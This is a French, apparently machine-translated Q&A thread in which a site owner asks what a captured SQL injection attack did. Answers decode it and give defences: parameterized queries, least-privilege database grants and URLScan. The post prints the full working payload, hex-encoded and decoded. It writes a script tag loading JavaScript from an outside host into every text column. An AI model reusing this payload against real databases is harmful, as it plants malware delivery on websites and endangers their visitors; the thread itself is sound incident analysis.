Quelqu'un peut m'expliquer cette attaque par injection SQL pour moi?

Question

Je voulais poster cela ici comme il est très bien le codage liées et était quelque chose que je devais nettoyer cette semaine sur l'un des ma de la société du vieux-ASP (classique) des sites.

Nous avons été touché avec une attaque par injection SQL a été exécutée juste un il ya quelques jours, mais je vais me gratter la tête à CE qu'est exactement le "dommages" a été pour le serveur SQL (par l'intermédiaire de ces requêtes SQL).

Pour être honnête, je pensais que c'était très ingénieux, la façon dont cela a été réalisé, et sa ma les entreprises faute d'avoir un vieux de 10 ans site avec peu ou pas de aseptisé d'entrée.

L'attaque:

122+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29-

Ce qu'il décode: (ce que je veux comprendre)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Nous avons récupéré une sauvegarde (avant injection) et est allé à travers la totalité de l'app et désinfectés l'entrée de tous les états. Notre serveur est derrière un pare-feu, donc pas directement accès SQL, mais je veux savoir quoi d'autre pourrait être à gauche, et je dois admettre que la requête SQL est au dessus de ma tête.

Quelqu'un peut-il prendre une fissure à elle et à expliquer l'attaque SQL pour moi?

TOUTES MES EXCUSES J'AI MIS À JOUR LE VIDAGE COMPLET & SQL

Answer 1

Juste la mise en forme pour des raisons de lisibilité permettra de clarifier beaucoup de choses:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Il passe par toutes les colonnes de texte de chaque table et insère HTML — HTML qui contient un pointeur vers l'extérieur généré par JavaScript.

Answer 2

C'est une boucle dans toutes les colonnes de toutes les tables et la mise à jour de leur valeur par l'ajout d'un <script> balise dont les points d'origine à un malveillant fichier JS.

L'important est

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

Je devine que quelque chose s'est omis ici et la déclaration probablement fini avec quelque chose comme ('varchar', 'char', 'texte') ou quelque chose de similaire, de sorte qu'il essaie seulement de mettre à jour les colonnes contenant du texte. Ils espèrent une des colonnes contenant du texte qui se tire dans votre site web, donc après ils ajoutent leur JS référence, il le sera sur la source des différentes pages.

Pour résoudre ce problème, vous devez faire quelque chose de similaire en boucle par toutes les colonnes qui contiennent du texte et de remplacer le script injecté avec une chaîne vide. Google sera votre ami ici, mais en voici une assez bonne à la recherche de lien qui devrait s'avérer utile dans la configuration d'un script pour le faire.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

Answer 3

Envisager l'installation d' URLScan 3.1 rapidement pour protéger votre application contre l'injection sql tentatives, ainsi que de travailler par le biais de votre application pour bien désinfecter vos instructions sql.

Ce type d'attaque par injection sql aussi pour habitude de travailler en raison de votre base de données utilisateur a des autorisations qui sont trop lâches, par exemple, DBO droits. Chercher à se connecter à votre base de données à partir de votre application à l'aide d'un utilisateur de base de données avec seulement les droits nécessaires pour exécuter votre application. Vous pouvez créer un utilisateur de base de données, la carte à votre base de données avec le public que les droits de l'exécution d'un script comme celui ci-dessous pour appliquer nécessaire des droits individuels à chaque objet dont vous avez besoin.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Évidemment test par rapport à votre application spécifique que vous pourriez avoir des procédures qui prévoient la possibilité de sélectionner à partir de ces sys tables.

Answer 4

Je pense que sa tentative d'insertion de chaînes codées à tous les textes de colonnes dans votre base de données. Cochez cette réf.: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Espérons que cela aide dans un certain sens

Answer 5

Changer vos requêtes comme celles-ci;

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

À quelque chose comme ceci;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

C'est juste un exemple brut de la lutte contre l'Injection SQL sans avoir recours à la désinfection d'entrée. Je voudrais encore aborder cette différemment.